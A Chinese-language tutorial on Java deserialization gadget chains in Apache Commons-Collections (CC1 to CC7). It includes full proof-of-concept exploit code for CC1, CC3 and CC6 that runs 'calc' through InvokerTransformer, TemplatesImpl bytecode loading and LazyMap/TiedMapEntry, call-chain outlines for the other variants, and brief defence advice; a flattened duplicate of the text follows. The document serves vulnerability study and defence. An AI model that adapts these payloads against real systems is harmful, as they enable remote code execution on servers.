Java反序列化之CC调用链过程1-7探究详解
字数 1716 2025-08-20 18:16:58

Java反序列化之CC调用链过程1-7探究详解

1. CommonsCollections反序列化基础

1.1 反序列化漏洞原理

反序列化漏洞的核心在于当Java应用反序列化不可信数据时,攻击者可以构造恶意序列化对象,在反序列化过程中触发一系列方法调用,最终执行任意代码。

1.2 关键版本信息

  • 测试版本:jdk8u65(jdk8u71开始有漏洞修复)
  • Commons-Collections包中的Transformer类是关键

2. CommonsCollections1分析

2.1 Transformer类分析

Transformer接口主要用途是接收对象并通过transform方法进行操作。关键实现类:

  1. NOPTransformer:无操作,直接返回输入
  2. ConstantTransformer:返回固定常量
  3. InvokerTransformer:通过反射调用任意方法(危险类)

2.2 InvokerTransformer利用

InvokerTransformer允许通过反射调用任意方法:

public Object transform(Object input) {
    if (input == null) return null;
    try {
        Class cls = input.getClass();
        Method method = cls.getMethod(iMethodName, iParamTypes);
        return method.invoke(input, iArgs);
    } //...
}

2.3 命令执行验证

Runtime.getRuntime().exec("calc")转化为反射调用:

Runtime r = Runtime.getRuntime();
Class c = Runtime.class;
Method execMethod = c.getMethod("exec", String.class);
execMethod.invoke(r, "calc");

使用InvokerTransformer实现:

new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(r);

3. 调用链构造

3.1 后半条链:从transform到命令执行

寻找能调用transform的类:

  1. TransformedMap:通过checkSetValue调用valueTransformer.transform
  2. MapEntry.setValue:调用parent.checkSetValue

3.2 前半条链:从反序列化到transform

寻找在readObject中能触发链的类:

  1. AnnotationInvocationHandler:在readObject中遍历map并调用setValue

3.3 完整调用链

AnnotationInvocationHandler.readObject()
  -> TransformedMap.entrySet().iterator().next().setValue()
    -> TransformedMap.checkSetValue()
      -> InvokerTransformer.transform()
        -> Runtime.exec()

3.4 EXP问题解决

  1. Runtime不可序列化:通过反射链获取Runtime实例

    Transformer[] transformers = new Transformer[]{
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}),
        new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{null,null}),
        new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
    };
    
  2. if判断进入setValue:使用有方法名的注解类(如Target.class)并将map的key设为"value"

  3. transform中value设置:使用ConstantTransformer固定value

3.5 完整EXP(CC1TransformedMap)

Transformer[] transformers = new Transformer[]{
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}),
    new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{null,null}),
    new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

HashMap<Object,Object> map = new HashMap<>();
map.put("value", "aaa");
Map<Object,Object> transformedmap = TransformedMap.decorate(map, null, chainedTransformer);

Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationhdlConstructor = c.getDeclaredConstructor(Class.class,Map.class);
Object o = annotationInvocationhdlConstructor.newInstance(Target.class, transformedmap);

4. CommonsCollections3:动态类加载

4.1 字节码加载方式

  1. URLClassLoader:从远程加载类
  2. defineClass:直接加载字节码

4.2 TemplatesImpl利用

TemplatesImpl提供了从字节码加载类的完整链:

TemplatesImpl.newTransformer()
  -> getTransletInstance()
    -> defineTransletClasses()
      -> loader.defineClass()
        -> newInstance()

4.3 恶意类要求

  1. 父类为AbstractTranslet
  2. 实现transform方法
  3. 静态代码块中执行恶意代码
public class Demo extends AbstractTranslet {
    static {
        try { Runtime.getRuntime().exec("calc"); }
        catch (IOException e) { e.printStackTrace(); }
    }
    // 必须实现的方法...
}

4.4 EXP(CC3TemplatesImpl)

TemplatesImpl templates = new TemplatesImpl();
// 设置_name
Field nameField = templates.getClass().getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates, "aaa");

// 加载字节码
byte[] code = Files.readAllBytes(Paths.get("Demo.class"));
Field bytecodeField = templates.getClass().getDeclaredField("_bytecodes");
bytecodeField.setAccessible(true);
bytecodeField.set(templates, new byte[][]{code});

// 设置_tfactory
Field tfactoryField = templates.getClass().getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates, new TransformerFactoryImpl());

// 构造调用链
Transformer[] transformers = new Transformer[]{
    new ConstantTransformer(templates),
    new InvokerTransformer("newTransformer", null, null)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

5. CommonsCollections6:绕过JDK高版本限制

5.1 调用链

利用HashMapreadObject触发:

HashMap.readObject()
  -> hash()
    -> TiedMapEntry.hashCode()
      -> getValue()
        -> LazyMap.get()
          -> transform()

5.2 关键类

  1. TiedMapEntry:连接Map和Entry
  2. LazyMap:延迟调用transform

5.3 EXP(CC6TiedMapEntry)

Transformer[] transformers = new Transformer[]{
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}),
    new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{null,null}),
    new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

HashMap<Object,Object> map = new HashMap<>();
Map<Object,Object> Lazymap = LazyMap.decorate(map, new ConstantTransformer(1));

TiedMapEntry tiedMapEntry = new TiedMapEntry(Lazymap, "aaa");
HashMap<Object,Object> map2 = new HashMap<>();
map2.put(tiedMapEntry, "bbb");
Lazymap.remove("aaa");  // 确保反序列化时能进入if

// 反射设置真正的transformer
Field factoryField = LazyMap.class.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(Lazymap, chainedTransformer);

6. 其他CC链变种

6.1 CommonsCollections4

利用TransformingComparator在CC4中的序列化支持:

PriorityQueue.readObject()
  -> heapify()
    -> siftDown()
      -> siftDownUsingComparator()
        -> compare()
          -> transform()

6.2 CommonsCollections5

利用BadAttributeValueExpException

BadAttributeValueExpException.readObject()
  -> toString()
    -> getValue()
      -> TiedMapEntry.getValue()
        -> LazyMap.get()
          -> transform()

6.3 CommonsCollections7

利用Hashtable的哈希碰撞:

Hashtable.readObject()
  -> reconstitutionPut()
    -> equals()
      -> AbstractMapDecorator.equals()
        -> get()
          -> transform()

7. 防御建议

  1. 升级Commons-Collections到安全版本
  2. 使用JDK高版本(8u71+修复了部分问题)
  3. 使用反序列化过滤器
  4. 避免反序列化不可信数据

总结

CC链展示了Java反序列化漏洞的典型利用方式,通过精心构造的调用链,攻击者可以从反序列化操作最终执行任意代码。理解这些调用链有助于更好地防御此类漏洞。

Java反序列化之CC调用链过程1-7探究详解 1. CommonsCollections反序列化基础 1.1 反序列化漏洞原理 反序列化漏洞的核心在于当Java应用反序列化不可信数据时,攻击者可以构造恶意序列化对象,在反序列化过程中触发一系列方法调用,最终执行任意代码。 1.2 关键版本信息 测试版本:jdk8u65(jdk8u71开始有漏洞修复) Commons-Collections包中的Transformer类是关键 2. CommonsCollections1分析 2.1 Transformer类分析 Transformer 接口主要用途是接收对象并通过 transform 方法进行操作。关键实现类: NOPTransformer :无操作,直接返回输入 ConstantTransformer :返回固定常量 InvokerTransformer :通过反射调用任意方法(危险类) 2.2 InvokerTransformer利用 InvokerTransformer 允许通过反射调用任意方法: 2.3 命令执行验证 将 Runtime.getRuntime().exec("calc") 转化为反射调用: 使用 InvokerTransformer 实现: 3. 调用链构造 3.1 后半条链:从transform到命令执行 寻找能调用 transform 的类: TransformedMap :通过 checkSetValue 调用 valueTransformer.transform MapEntry.setValue :调用 parent.checkSetValue 3.2 前半条链:从反序列化到transform 寻找在 readObject 中能触发链的类: AnnotationInvocationHandler :在 readObject 中遍历map并调用 setValue 3.3 完整调用链 3.4 EXP问题解决 Runtime不可序列化 :通过反射链获取Runtime实例 if判断进入setValue :使用有方法名的注解类(如 Target.class )并将map的key设为 "value" transform中value设置 :使用 ConstantTransformer 固定value 3.5 完整EXP(CC1TransformedMap) 4. CommonsCollections3:动态类加载 4.1 字节码加载方式 URLClassLoader :从远程加载类 defineClass :直接加载字节码 4.2 TemplatesImpl利用 TemplatesImpl 提供了从字节码加载类的完整链: 4.3 恶意类要求 父类为 AbstractTranslet 实现 transform 方法 静态代码块中执行恶意代码 4.4 EXP(CC3TemplatesImpl) 5. CommonsCollections6:绕过JDK高版本限制 5.1 调用链 利用 HashMap 的 readObject 触发: 5.2 关键类 TiedMapEntry :连接Map和Entry LazyMap :延迟调用transform 5.3 EXP(CC6TiedMapEntry) 6. 其他CC链变种 6.1 CommonsCollections4 利用 TransformingComparator 在CC4中的序列化支持: 6.2 CommonsCollections5 利用 BadAttributeValueExpException : 6.3 CommonsCollections7 利用 Hashtable 的哈希碰撞: 7. 防御建议 升级Commons-Collections到安全版本 使用JDK高版本(8u71+修复了部分问题) 使用反序列化过滤器 避免反序列化不可信数据 总结 CC链展示了Java反序列化漏洞的典型利用方式,通过精心构造的调用链,攻击者可以从反序列化操作最终执行任意代码。理解这些调用链有助于更好地防御此类漏洞。